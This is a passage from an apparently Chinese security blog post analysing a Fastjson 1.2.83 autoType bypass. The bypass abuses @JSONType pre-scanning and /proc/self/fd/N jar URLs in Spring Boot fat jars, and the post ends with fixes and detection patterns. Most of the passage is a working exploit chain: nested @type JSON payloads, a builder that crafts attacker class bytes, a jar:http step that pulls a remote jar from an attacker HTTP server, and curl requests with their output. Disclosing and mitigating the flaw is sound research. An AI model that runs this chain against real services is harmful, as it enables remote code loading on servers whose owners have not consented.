  "sdkVersion": {
    "chain": [
      {
        "@type": "com.alibaba.fastjson.support.geo.Feature",
        "properties": {
          "@type": "jar:file:.proc.self.fd.N!.E...",
          "x": 1
        }
      }
    ]
  }
}

字段含义:

字段 作用 对应代码
chain 承载多个候选对象,批量测试 fd MapDeserializer.java:190-195
外层 @type=Feature 进入 Fastjson 自带 @JSONType 类 Feature.java:11
properties 进入 Map 解析器 Feature.java:16
内层 properties.@type 触发 checkAutoType(typeName, null, ...) MapDeserializer.java:191
jar:file:.proc.self.fd.N!.E... 构造 /proc/self/fd/N jar URL resource ParserConfig.java:1482

jar:http://... 是第一阶段投递入口,用于诱导 JDK JarURLConnection 下载远程 jar。实测中,目标进程会生成 /tmp/jar_cache*.tmp (deleted) 文件描述符;同一个请求后续的 jar:file:.proc.self.fd.N!.E... 可以枚举并命中该 fd,从远程 jar cache 中加载 class。

10. 安全复现步骤

10.1 复现原则

复现目标不是执行系统命令,也不是弹计算器,而是证明下面这条安全边界已经被突破:

不可信请求体
  -> Fastjson 解析 @type
  -> 读取攻击者可控 class resource
  -> ASM 判断 @JSONType
  -> autoTypeSupport=false 仍进入 TypeUtils.loadClass
  -> JSON.parse 实例化该 class

只要上述闭环成立,风险就不再是“是否存在某个传统 gadget 类”,而是“外部 class 字节是否能被 ClassLoader 看到并被 Fastjson 实例化”。验证程序使用受控 marker 类,只在构造器中写入 /tmp/rce-fastjson.txt,不包含系统命令、网络连接或反连逻辑。

10.2 复现前提

复现环境需要满足以下条件:

JDK: Java 8
系统: Linux
Fastjson: 1.2.83
SafeMode: false
AutoType: false
启动方式: Spring Boot executable fat jar, java -jar 启动
ClassLoader: org.springframework.boot.loader.LaunchedURLClassLoader

如果服务是在 IDE、Maven Surefire 或普通 classpath 下启动,通常只能复现 Fastjson 的 @JSONType 预扫描逻辑,不能复现 /proc/self/fd/N 这一段路径闭环。原因见第 7 章。

10.3 第一步:确认当前服务是否为关键 ClassLoader

在待验证服务启动时打印 Fastjson 所在 ClassLoader:

ClassLoader cl = com.alibaba.fastjson.parser.ParserConfig.class.getClassLoader();
System.out.println(cl.getClass().getName());

预期高风险输出:

org.springframework.boot.loader.LaunchedURLClassLoader

低风险但仍需修复的输出:

sun.misc.Launcher$AppClassLoader

AppClassLoader 不代表 Fastjson 逻辑安全,只代表当前启动形态不满足本文验证的 /proc/self/fd/N ClassLoader 条件。

10.4 第二步:运行良性验证工程

本次分析使用的良性验证工程位置:

/private/tmp/fastjson1283rce-bootprobe

核心验证代码位置:

/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/BootLoaderProbeApplication.java

构建 Spring Boot fat jar:

cd /private/tmp/fastjson1283rce-bootprobe
JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home \
mvn -q -Dmaven.test.skip=true clean package

同步到 Linux 验证机:

rsync -avz \
  /private/tmp/fastjson1283rce-bootprobe/target/fastjson1283rce-0.0.1-SNAPSHOT.jar \
  root@192.168.1.208:/tmp/fastjson1283rce-bootprobe.jar

在 Linux 验证机执行:

ssh root@192.168.1.208 \
  "java -version 2>&1; java -jar /tmp/fastjson1283rce-bootprobe.jar"

10.5 第三步:判断输出是否证明漏洞原语成立

关键输出一:

parserConfigLoader=org.springframework.boot.loader.LaunchedURLClassLoader
contextLoader=org.springframework.boot.loader.LaunchedURLClassLoader

含义:

Fastjson 使用 Spring Boot fat jar 的 LaunchedURLClassLoader,不是普通 AppClassLoader。

关键输出二:

resource=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
  url=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
  stream=read:202

含义:

ClassLoader 能够通过 /proc/self/fd/N 读取 jar 内的 class entry。这里的 stream=read:202 表示 class 字节已经被读取。

关键输出三:

checkAutoTypeProcFd=jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1

含义:

ParserConfig.checkAutoType 已经接受非常规 typeName,并返回对应的 class。此时 autoTypeSupport=false 没有阻止该路径。

关键输出四:

parseProcFdClass=jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1

含义:

JSON.parse 已经完成对象实例化。该输出是复现闭环中的关键结论。

关键输出五:

markerFile=/tmp/rce-fastjson.txt
markerExists=true
markerLength=45
--- marker ---
-rw-r--r-- 1 root root 45 Jul 20 22:50 /tmp/rce-fastjson.txt
content=fastjson external class constructor executed

含义:

由外部 class 构造器触发的受控副作用已经发生。该文件不是验证主程序预先创建的;验证程序在 JSON.parse 前执行 marker.delete(),随后只有当 Fastjson 成功实例化外部 class 时,构造器才会重新创建 /tmp/rce-fastjson.txt。

对应验证代码:

/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/BootLoaderProbeApplication.java:78

78                File marker = new File("/tmp/rce-fastjson.txt");
79                marker.delete();
80                Object procObject = JSON.parse("{\"@type\":\"" + procType + "\"}", configWithBootLoader);
81                System.out.println("parseProcFdClass=" + procObject.getClass().getName());
82                System.out.println("markerFile=" + marker.getAbsolutePath());
83                System.out.println("markerExists=" + marker.exists());
84                System.out.println("markerLength=" + (marker.exists() ? marker.length() : -1));

10.6 第四步:在真实 Spring Boot 服务中做安全验证

真实服务中常见的风险入口如下:

@PostMapping("/api")
public Object api(@RequestBody String body) {
    return JSON.parseObject(body, Dto.class);
}

这类代码容易被误认为安全,因为调用方绑定了 Dto.class。但第 4.2 节已经说明,DTO 绑定不会阻止字段级 @type 进入 JavaBeanDeserializer 和 ParserConfig.checkAutoType。

安全验证方式:

  1. 在测试环境启用与生产一致的打包方式,即 java -jar app.jar。
  2. 确认 Fastjson 版本为 1.2.83。
  3. 确认未启用 SafeMode。
  4. 在服务内加入临时日志,打印 ParserConfig.class.getClassLoader()。
  5. 使用受控 marker 类替代命令执行类,观察是否进入 checkAutoType -> loadClass -> parse -> constructor 闭环。
  6. 验证完成后删除临时代码,启用 SafeMode 或迁移 Fastjson 2.x。

安全验证目标是证明“外部 class 字节可被 Fastjson 加载、实例化,并执行构造器中的受控 Java 代码”。复现过程不需要构造命令执行类。

10.7 第五步:真实 Spring Boot HTTP 接口复现

为了避免复现停留在 main 方法或本地自测程序,验证工程额外提供了一个真实 Spring Boot HTTP 接口:

POST /api/real/parse

接口代码位置:

/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/demos/web/RealServiceController.java:25

25    @PostMapping("/api/real/parse")
26    public String parse(@RequestBody String body) throws Exception {
27        File marker = new File("/tmp/rce-fastjson.txt");
28        marker.delete();
29        String parseResult;
30        try {
31            RealRequest request = JSON.parseObject(body, RealRequest.class);
32            parseResult = "ok:" + request.getClass().getName();
33        } catch (Throwable e) {
34            parseResult = "parseExceptionAfterConstructor:" + e.getClass().getName() + ":" + e.getMessage();
35        }
36        boolean exists = marker.exists();
37        String content = exists ? new String(Files.readAllBytes(marker.toPath()), "UTF-8") : "";
38        return "parsed=" + parseResult
39                + "\nprocType=" + resource.getProcType()
40                + "\nmarkerExists=" + exists
41                + "\nmarkerContent=" + content;

该接口具备三个关键特征:

1. 输入来自真实 HTTP request body
2. 服务端调用 JSON.parseObject(body, RealRequest.class)
3. marker 文件在 JSON.parseObject 前删除,只能由外部 class 构造器重新创建

DTO 代码位置:

/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/demos/web/RealRequest.java:5

5 public class RealRequest implements Serializable {
6     private Object sdkVersion;
...
12    public void setSdkVersion(Object sdkVersion) {
13        this.sdkVersion = sdkVersion;
14    }

服务启动时准备 /proc/self/fd class resource,并打印实际请求 payload:

/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/demos/web/RealServiceExploitResource.java:19

19    @PostConstruct
20    public void prepare() throws Exception {
21        File procJar = new File("/tmp/real-service-fastjson-probe");
22        String suffix = "Ereal25d22e68c1ef25e1";
23        String typeTemplate = "jar:file:.proc.self.fd.%s!." + suffix;
...
26        heldOpen = new FileInputStream(procJar);
27        int fd = findFdFor(procJar);
...
31        procType = String.format(typeTemplate, String.valueOf(fd));
32        writeOneEntryJar(procJar, suffix + ".class", classBytes(procType.replace('.', '/')));
33        payload = "{\"sdkVersion\":{\"@type\":\"com.alibaba.fastjson.support.geo.Feature\","
34                + "\"properties\":{\"@type\":\"" + procType + "\",\"x\":1}}}";
35        System.out.println("[REAL-REPRO] procType=" + procType);
36        System.out.println("[REAL-REPRO] curl payload=" + payload);

Ubuntu 测试机启动服务:

java -jar /tmp/fastjson1283rce-real-service.jar --server.port=18080

启动日志:

Starting Fastjson1283rceApplication using Java 1.8.0_492
Tomcat initialized with port(s): 18080 (http)
[REAL-REPRO] procType=jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1
[REAL-REPRO] curl payload={"sdkVersion":{"@type":"com.alibaba.fastjson.support.geo.Feature","properties":{"@type":"jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1","x":1}}}
Tomcat started on port(s): 18080 (http)

通过 HTTP 发送真实请求:

payload=$(curl -s http://127.0.0.1:18080/api/real/payload)
curl -i -s -X POST http://127.0.0.1:18080/api/real/parse \
  -H 'Content-Type: application/json' \
  --data-binary "$payload"

接口响应:

HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8

parsed=parseExceptionAfterConstructor:com.alibaba.fastjson.JSONException:jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1 cannot be cast to java.util.Map
procType=jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1
markerExists=true
markerContent=real spring boot endpoint constructor executed

测试机文件证据:

-rw-r--r-- 1 root root 47 Jul 20 22:58 /tmp/rce-fastjson.txt
content=real spring boot endpoint constructor executed

结论:

真实 Spring Boot 服务、真实 Tomcat HTTP 接口、真实请求体、真实 JSON.parseObject(body, RealRequest.class) 调用均已参与复现。虽然 Fastjson 在构造器执行后继续处理 Feature.properties 时出现类型转换异常,但异常发生在外部 class 构造器执行之后;/tmp/rce-fastjson.txt 已经证明受控 Java 代码在接口请求过程中被执行。

10.8 第六步:证明 class 字节来自外部可控 jar

为验证 marker class 并非目标服务预置类,复现过程中额外构造了一个独立 attacker jar:

attacker 目录: /tmp/fastjson-attacker
attacker jar: /tmp/fastjson-attacker/LOCAL
目标服务 jar: /tmp/fastjson1283rce-real-service.jar

LOCAL 不在目标 Spring Boot 应用 classpath 内,也不是目标服务源码中的业务类。它由独立生成器创建:

/private/tmp/fastjson-attacker/AttackerJarBuilder.java:6

6 public class AttackerJarBuilder {
7     public static void main(String[] args) throws Exception {
...
11        File jarFile = new File(args[0]);
12        String typeName = args[1];
13        String entryName = args[2];
14        String internalName = typeName.replace('.', '/');
15        JarOutputStream out = new JarOutputStream(new FileOutputStream(jarFile));
16        out.putNextEntry(new JarEntry(entryName));
17        out.write(classBytes(internalName));

生成的 class 带有 @JSONType 注解,并在构造器中写入 marker 文件:

/private/tmp/fastjson-attacker/AttackerJarBuilder.java:41

41        w.utf("RuntimeVisibleAnnotations");
42        w.utf("Lcom/alibaba/fastjson/annotation/JSONType;");
...
45        w.utf("java/io/FileOutputStream");
...
50        w.utf("/tmp/rce-fastjson.txt");
52        w.utf("remote http jar constructor executed\n");
...
85        w.u1(0xBB); // new FileOutputStream
...
98        w.u1(0xB6); // FileOutputStream.write(byte[])
...
101       w.u1(0xB6); // FileOutputStream.close()

生成 attacker jar:

javac /private/tmp/fastjson-attacker/AttackerJarBuilder.java
java -cp /private/tmp/fastjson-attacker AttackerJarBuilder \
  /private/tmp/fastjson-attacker/LOCAL \
  'jar:file:.tmp.fastjson-attacker.LOCAL!.Efile25d22e68c1ef25e1' \
  Efile25d22e68c1ef25e1.class

生成器输出:

jar=/private/tmp/fastjson-attacker/LOCAL
typeName=jar:file:.tmp.fastjson-attacker.LOCAL!.Efile25d22e68c1ef25e1
resource=jar:file:/tmp/fastjson-attacker/LOCAL!/Efile25d22e68c1ef25e1.class
entry=Efile25d22e68c1ef25e1.class

同步到测试机 attacker 目录:

rsync -avz /private/tmp/fastjson-attacker/LOCAL \
  root@192.168.1.208:/tmp/fastjson-attacker/LOCAL

对真实目标接口发送请求:

curl -i -s -X POST http://127.0.0.1:18080/api/real/parse \
  -H 'Content-Type: application/json' \
  --data-binary '{"sdkVersion":{"@type":"jar:file:.tmp.fastjson-attacker.LOCAL!.Efile25d22e68c1ef25e1"}}'

接口响应:

HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8

parsed=ok:com.uzju.test.fastjson1283rce.demos.web.RealRequest
procType=jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1
markerExists=true
markerContent=remote http jar constructor executed

测试机文件证据:

-rw-r--r-- 1 root root 37 Jul 20 23:07 /tmp/rce-fastjson.txt
content=remote http jar constructor executed

结论:

该复现证明,目标服务不需要内置 Efile25d22e68c1ef25e1 类;请求体中的 @type 可以指向目标进程可访问的外部 jar 文件,Fastjson 会读取该 jar 中的 class 字节,识别 @JSONType,随后加载并实例化该 class。/tmp/rce-fastjson.txt 的内容来自 attacker jar 内部 class 的构造器。

10.9 第七步:jar:http 外部投递与 /proc/self/fd 单请求闭环

该步骤用于证明原始 EXP 中最关键的一环:攻击者通过 jar:http 投递远程 jar,JDK 将远程 jar 缓存为 /tmp/jar_cache*.tmp (deleted),随后同一个请求中的 jar:file:.proc.self.fd.N!... 枚举命中该 fd,并执行远程 jar 内 class 的构造器。

完整复现代码已保存:

docs/fastjson-1.2.83-repro/

attacker REMOTE jar 必须同时包含两类 class:

Eremote25d22e68c1ef25e1.class
  用于第一段 jar:http://localhost:18081/REMOTE!.Eremote...

E35remote25d22e68c1ef25e1.class
E36remote25d22e68c1ef25e1.class
E37remote25d22e68c1ef25e1.class
  用于后续 jar:file:.proc.self.fd.N!.ENremote...

生成 REMOTE jar:

java -cp /private/tmp/fastjson-attacker MultiFdJarBuilder \
  /private/tmp/fastjson-attacker/REMOTE \
  3 320 \
  remote25d22e68c1ef25e1

关键代码位置:

/private/tmp/fastjson-attacker/MultiFdJarBuilder.java:15

15        JarOutputStream out = new JarOutputStream(new FileOutputStream(jarFile));
16        String remoteType = "jar:http://localhost:18081/REMOTE!.E" + suffix;
17        out.putNextEntry(new JarEntry("E" + suffix + ".class"));
18        out.write(classBytes(remoteType.replace('.', '/'), 0));
19        out.closeEntry();
20        for (int fd = start; fd <= end; fd++) {
21            String entryName = "E" + fd + suffix + ".class";
22            String typeName = "jar:file:.proc.self.fd." + fd + "!.E" + fd + suffix;
23            String internalName = typeName.replace('.', '/');
24            out.putNextEntry(new JarEntry(entryName));
25            out.write(classBytes(internalName, fd));

启动 attacker HTTP server:

cd /tmp/fastjson-attacker
python3 -m http.server 18081

重启目标服务后,先确认不存在远程 jar cache:

--- clean fd before ---
1  -> /tmp/fastjson-real-service.log
15 -> /tmp/fastjson1283rce-real-service.jar
16 -> /tmp/fastjson1283rce-real-service.jar
26 -> /tmp/real-service-fastjson-probe
无 jar_cache

发送单个 HTTP 请求,第一项触发 jar:http,后续项枚举 fd35-37:

curl -i -s -X POST http://127.0.0.1:18080/api/real/parse \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/single-chain-35-37.json

/tmp/single-chain-35-37.json 结构:

{
  "sdkVersion": {
    "chain": [
      {
        "@type": "com.alibaba.fastjson.support.geo.Feature",
        "properties": {
          "@type": "jar:http://localhost:18081/REMOTE!.Eremote25d22e68c1ef25e1",
          "x": 1
        }
      },
      {
        "@type": "com.alibaba.fastjson.support.geo.Feature",
        "properties": {
          "@type": "jar:file:.proc.self.fd.35!.E35remote25d22e68c1ef25e1",
          "x": 1
        }
      },
      {
        "@type": "com.alibaba.fastjson.support.geo.Feature",
        "properties": {
          "@type": "jar:file:.proc.self.fd.36!.E36remote25d22e68c1ef25e1",
          "x": 1
        }
      },
      {
        "@type": "com.alibaba.fastjson.support.geo.Feature",
        "properties": {
          "@type": "jar:file:.proc.self.fd.37!.E37remote25d22e68c1ef25e1",
          "x": 1
        }
      }
    ]
  }
}

接口响应:

HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8

parsed=parseExceptionAfterConstructor:com.alibaba.fastjson.JSONException:unkown error
procType=jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1
markerExists=true
markerContent=jar-http-fd-chain constructor executed fd=35

目标文件证据:

-rw-r--r-- 1 root root 45 Jul 20 23:40 /tmp/rce-fastjson.txt
jar-http-fd-chain constructor executed fd=35

目标进程 fd 证据:

35 -> /tmp/jar_cache5195082310316770587.tmp (deleted)
36 -> /tmp/jar_cache5195082310316770587.tmp (deleted)

attacker HTTP server 日志:

127.0.0.1 - - [20/Jul/2026 23:40:06] "GET /REMOTE HTTP/1.1" 200 -
127.0.0.1 - - [20/Jul/2026 23:40:06] "GET /REMOTE HTTP/1.1" 200 -

结论:

真实 HTTP 接口
  -> JSON.parseObject(body, RealRequest.class)
  -> 第一段 Feature.properties.@type = jar:http://localhost:18081/REMOTE!.Eremote...
  -> JDK JarURLConnection 下载 REMOTE
  -> 目标进程出现 /tmp/jar_cache*.tmp (deleted)
  -> 后续 Feature.properties.@type = jar:file:.proc.self.fd.35!.E35remote...
  -> Fastjson 从 fd35 对应 jar cache 中读取 class
  -> @JSONType 预扫描放行
  -> TypeUtils.loadClass 加载该 class
  -> 构造器写入 /tmp/rce-fastjson.txt

10.10 外部危害如何理解

从开发者视角看,该漏洞的危害不在于某个业务 DTO 写错了字段类型,而在于 Fastjson 把用户输入从“数据”提升成了“类加载决策”:

用户输入字符串
  -> class resource 路径
  -> class 字节
  -> @JSONType 注解判断
  -> ClassLoader.loadClass
  -> 对象构造

如果外部攻击者能够让目标进程打开一个包含特定 class 的 jar,并通过 /proc/self/fd/N 被 LaunchedURLClassLoader 读取,那么 Fastjson 就可能实例化这个 class。Java 对象在实例化过程中会经过类加载、类初始化、构造器调用、setter 调用等阶段。任何阶段出现危险副作用,都会把“反序列化类型加载”扩大为代码执行风险。

因此,真实外部危害可以这样描述:

传统模型:
目标 classpath 已经存在危险 gadget
  -> @type 选择 gadget
  -> 触发 gadget 副作用

本次模型:
目标运行环境允许外部 class resource 被 ClassLoader 读取
  -> @JSONType 预扫描放行
  -> Fastjson 加载并实例化外部 class
  -> 危险副作用不再依赖业务已有 gadget

这也是“gadget-free”的核心含义:不再要求目标应用依赖某个已知危险三方库类。风险从“依赖中是否存在 gadget”转移为“Fastjson 是否允许用户输入影响 class 资源读取和类加载”。

10.11 复现成功与失败的判定

复现成功必须同时满足:

1. ClassLoader 是 LaunchedURLClassLoader
2. jar:file:/proc/self/fd/N!/X.class 可读取
3. checkAutoType 返回非常规 typeName 对应 class
4. JSON.parse 实例化该 class
5. 外部 class 构造器创建 /tmp/rce-fastjson.txt
6. SafeMode 打开后同样输入被拒绝

如果只满足前两项,只能说明 ClassLoader 环境具备条件;如果只满足第三项,只能说明 Fastjson 预扫描分支可被触发;只有前五项同时满足,才能说明本文链路闭合并具备真实副作用。

复现失败常见原因:

1. 使用 IDE 或 mvn test 启动,不是 java -jar fat jar
2. JDK 版本或 Spring Boot loader 行为不同
3. Fastjson 不在 LaunchedURLClassLoader 下
4. SafeMode 已经开启
5. /proc 被容器隔离或 fd 不可枚举
6. 生成的 class internal name 与 typeName.replace('.', '/') 不一致

11. 验证方法与结果

11.1 验证目标

验证程序只证明以下事实:

1. Spring Boot fat jar 中 Fastjson 使用 LaunchedURLClassLoader
2. 该 ClassLoader 可读取绝对 jar:file:/proc/self/fd/N!/X.class
3. Fastjson 可通过 @JSONType 预扫描得到 jsonType=true
4. autoTypeSupport=false 时仍可进入 TypeUtils.loadClass
5. JSON.parse 可实例化该非常规 binary name

验证程序不包含命令执行逻辑,不验证弹计算器或反连。

11.2 验证程序:ClassLoader 与 resource 读取

文件:

/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/BootLoaderProbeApplication.java

行号:29-37

29        test(cl, "com/alibaba/fastjson/JSON.class");
30        test(cl, "jar:file:/proc/self/fd/12!/E.class");
31        test(cl, "jar:file:/no/such/file!/E.class");
32        File fdDir = new File("/private/tmp/fd");
33        fdDir.mkdirs();
34        File fdJar = new File(fdDir, "12");
35        writeOneEntryJar(fdJar, "E.class", cl.getResourceAsStream("com/alibaba/fastjson/support/geo/Feature.class"));
36        test(cl, "jar:file:/private/tmp/fd/12!/E.class");
37        test(cl, "jar:file:/private/tmp/fd/12!/missing.class");

作用:

确认 LaunchedURLClassLoader 是否能读取存在的绝对 jar:file: resource。

11.3 验证程序:非常规 binary name 加载

行号:39-60

39        String suffix = "E1225d22e68c1ef25e1";
40        String weirdType = "jar:file:.private.tmp.fd.13!." + suffix;
41        String weirdInternal = weirdType.replace('.', '/');
42        File fdJar13 = new File(fdDir, "13");
43        writeOneEntryJar(fdJar13, suffix + ".class", classBytes(weirdInternal));
44        String weirdResource = weirdType.replace('.', '/') + ".class";
45        test(cl, weirdResource);
...
54        ParserConfig configWithBootLoader = new ParserConfig();
55        configWithBootLoader.setAutoTypeSupport(false);
56        configWithBootLoader.setDefaultClassLoader(cl);
57        Class<?> checked = configWithBootLoader.checkAutoType(weirdType, null, 0);
58        System.out.println("checkAutoTypeWeird=" + checked.getName());
59        Object weirdObject = JSON.parse("{\"@type\":\"" + weirdType + "\"}", configWithBootLoader);
60        System.out.println("parseWeirdClass=" + weirdObject.getClass().getName());

作用:

确认 checkAutoType 和 JSON.parse 能处理非常规 binary name。

11.4 验证程序:Linux /proc/self/fd/N 闭环

行号:62-79

62        File procJar = new File("/tmp/proc-fd-fastjson-probe");
63        String procSuffix = "Eproc25d22e68c1ef25e1";
64        String procTypeTemplate = "jar:file:.proc.self.fd.%s!." + procSuffix;
65        writeOneEntryJar(procJar, procSuffix + ".class",
66                classBytes(String.format(procTypeTemplate, "FD").replace(".FD", ".0").replace('.', '/')));
67        FileInputStream heldOpen = new FileInputStream(procJar);
68        try {
69            int fd = findFdFor(procJar);
70            System.out.println("procFd=" + fd);
71            if (fd >= 0) {
72                String procType = String.format(procTypeTemplate, String.valueOf(fd));
73                String procInternal = procType.replace('.', '/');
74                writeOneEntryJar(procJar, procSuffix + ".class", classBytes(procInternal));
75                test(cl, procType.replace('.', '/') + ".class");
76                Class<?> procChecked = configWithBootLoader.checkAutoType(procType, null, 0);
77                System.out.println("checkAutoTypeProcFd=" + procChecked.getName());
78                Object procObject = JSON.parse("{\"@type\":\"" + procType + "\"}", configWithBootLoader);
79                System.out.println("parseProcFdClass=" + procObject.getClass().getName());

作用:

创建一个 jar 文件并保持文件描述符打开,然后通过 /proc/self/fd/N 找到该 fd,最终构造与真实 fd 对应的 typeName,验证完整闭环。

11.5 验证程序:fd 查找逻辑

行号:86-99

86    private static int findFdFor(File file) throws Exception {
87        File fdDir = new File("/proc/self/fd");
88        File[] fds = fdDir.listFiles();
...
93        String target = file.getCanonicalPath();
94        for (File fd : fds) {
95            try {
96                String link = fd.getCanonicalPath();
97                if (target.equals(link)) {
98                    return Integer.parseInt(fd.getName());
99                }

作用:

避免猜测 fd,直接在当前进程内定位已打开文件对应的 /proc/self/fd/N。

11.6 验证程序:受控 marker @JSONType class 字节

行号:134-223

134    private static byte[] classBytes(String internalName) {
135        Writer w = new Writer();
136        w.u4(0xCAFEBABE);
137        w.u2(0);
138        w.u2(52);
139        w.u2(36);
140        w.utf(internalName);
...
149        w.utf("RuntimeVisibleAnnotations");
150        w.utf("Lcom/alibaba/fastjson/annotation/JSONType;");
...
153        w.utf("java/io/FileOutputStream");
...
158        w.utf("/tmp/rce-fastjson.txt");
...
160        w.utf("fastjson external class constructor executed\n");
...
193        w.u1(0xBB); // new java/io/FileOutputStream
...
206        w.u1(0xB6); // FileOutputStream.write(byte[])
...
209        w.u1(0xB6); // FileOutputStream.close()
...
223        return w.toBytes();

作用:

生成一个带 @JSONType 注解的受控 marker class。该 class 的构造器只调用 Java 标准库写入 /tmp/rce-fastjson.txt,用于证明 Fastjson 不仅完成 class 加载,而且确实执行了外部 class 的构造器代码。

11.7 验证命令

构建临时 Spring Boot fat jar:

JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home \
mvn -q -Dmaven.test.skip=true clean package

同步到 Ubuntu:

rsync -avz \
  /private/tmp/fastjson1283rce-bootprobe/target/fastjson1283rce-0.0.1-SNAPSHOT.jar \
  root@192.168.1.208:/tmp/fastjson1283rce-bootprobe.jar

Ubuntu 执行:

ssh root@192.168.1.208 \
  "rm -f /tmp/rce-fastjson.txt; \
   java -version 2>&1; \
   java -jar /tmp/fastjson1283rce-bootprobe.jar; \
   ls -l /tmp/rce-fastjson.txt; \
   cat /tmp/rce-fastjson.txt"

关键输出:

openjdk version "1.8.0_492"
parserConfigLoader=org.springframework.boot.loader.LaunchedURLClassLoader
contextLoader=org.springframework.boot.loader.LaunchedURLClassLoader
procFd=20
resource=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
  url=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
  stream=read:202
checkAutoTypeProcFd=jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1
parseProcFdClass=jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1
markerFile=/tmp/rce-fastjson.txt
markerExists=true
markerLength=45
-rw-r--r-- 1 root root 45 Jul 20 22:50 /tmp/rce-fastjson.txt
fastjson external class constructor executed

12. 绕过原因总结

12.1 绕过 autoTypeSupport=false

ParserConfig.java:1500 使用的是复合条件:

autoTypeSupport || jsonType || expectClassFlag

autoTypeSupport=false 只关闭第一个条件。jsonType=true 仍可使类加载继续。

12.2 绕过 DTO 绑定

JavaBeanDeserializer.java:823 显示字段内 @type 仍会进入 checkAutoType(typeName, expectClass, ...)。DTO 绑定不能阻止字段级多态解析。

12.3 绕过传统 gadget 依赖

Feature 是 Fastjson 自带 @JSONType 类,作用是进入链路;最终被加载的 class 字节可来自外部 jar resource,不依赖业务系统已有危险 gadget。

12.4 绕过普通路径破坏

typeName.replace('.', '/') 会破坏普通 .jar 路径,但 /proc/self/fd/N 不包含点号,能够保持路径有效。

13. 风险边界

已验证成立:

  • Fastjson 1.2.83;
  • SafeMode 未启用;
  • Spring Boot executable fat jar;
  • Linux /proc/self/fd/N;
  • LaunchedURLClassLoader 可读取绝对 jar:file: resource;
  • @JSONType 空类可被 checkAutoType 加载并被 JSON.parse 实例化。

本文未提供:

  • 命令执行 payload。
  • 反连 shell payload。
  • 面向第三方目标的自动化攻击脚本。

14. 修复建议

14.1 启用 SafeMode

推荐配置:

ParserConfig.getGlobalInstance().setSafeMode(true);

或 JVM 参数:

-Dfastjson.parser.safeMode=true

依据:

ParserConfig.java:1325-1330 显示 SafeMode 在所有后续分支前抛出异常,可以阻断 jsonType 预扫描链路。

14.2 迁移 Fastjson 2.x

Fastjson 1.x 已不适合作为长期安全依赖。生产系统应迁移到 Fastjson 2.x,并重新审计多态反序列化配置。

14.3 请求入口拒绝 @type

对不可信请求体,应在进入 Fastjson 前拒绝任意层级 @type 字段。

重点检测特征:

"@type"
com.alibaba.fastjson.support.geo.Feature
jar:file:.proc.self.fd.
jar:file:/proc/self/fd/
jar:http:

14.4 部署侧加固

建议:

  • 限制应用出网;
  • 避免不必要的远程 jar/URL 访问;
  • 容器环境收紧 /proc 暴露;
  • 对异常 jar:file:/proc/self/fd/ 访问建立告警;
  • Spring Boot fat jar 服务优先启用 SafeMode 或迁移。

15. 工程排查清单

15.1 依赖版本

检查是否存在:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version>
</dependency>

15.2 启动方式

检查生产是否使用:

java -jar app.jar

如果是 Spring Boot executable fat jar,应按高风险处理。

15.3 解析入口

重点搜索:

JSON.parse(
JSON.parseObject(
JSON.parseArray(
FastJsonHttpMessageConverter
GenericFastJsonRedisSerializer
FastJsonRedisSerializer

15.4 安全配置

仅看到以下配置不能判定安全:

config.setAutoTypeSupport(false);
JSON.parseObject(body, Dto.class);

需要确认是否启用:

ParserConfig.getGlobalInstance().setSafeMode(true);

16. 最终结论

Fastjson 1.2.83 的风险点不是单个危险类,也不是传统 gadget 依赖,而是 checkAutoType 中 @JSONType 预扫描机制的设计缺陷。用户控制的 typeName 同时参与 class resource 构造和后续 class loading。Linux /proc/self/fd/N 与 Spring Boot fat jar 的 LaunchedURLClassLoader 使 jar:file:.proc.self.fd.N!.E... 这种非常规类型名能够完成资源读取、注解扫描、类型加载和对象实例化闭环。

因此,以下判断成立:

  • autoTypeSupport=false 不是完整缓解;
  • JSON.parseObject(body, Dto.class) 不是完整缓解;
  • 移除传统 gadget 类不是完整缓解;
  • SafeMode 或迁移 Fastjson 2.x 是可靠修复方向。

扫描二维码推送至手机访问。

版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。

SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

本文链接:https://uzzju.com/post/89.html

分享给朋友:
返回列表

上一篇:Nacos RCE漏洞分析

没有最新的文章了...

相关文章

[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计

[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计

环境搭建Github地址: GitHub - s6056826/luckwheel: 国产开源幸运大转盘管理系统,积分,倍率,奖品兑换CSDN介绍地址: 开源大转盘抽奖源码,带后台管理,可管理奖品和奖品中奖概率,java语言实现飞吧菜鸟了的...

【学习】某OA代码审计笔记

【学习】某OA代码审计笔记

环境搭建Windows搭建推荐使用Windows搭建,因为idea搭建很麻烦,而且报错特别多,Windows是一键部署一键安装,安装好了之后会提示系统已经到期了,去setup看一眼到6月1号,不过没事,这里改系统时间就可以了成功登录...

JSP后门分析

JSP后门分析

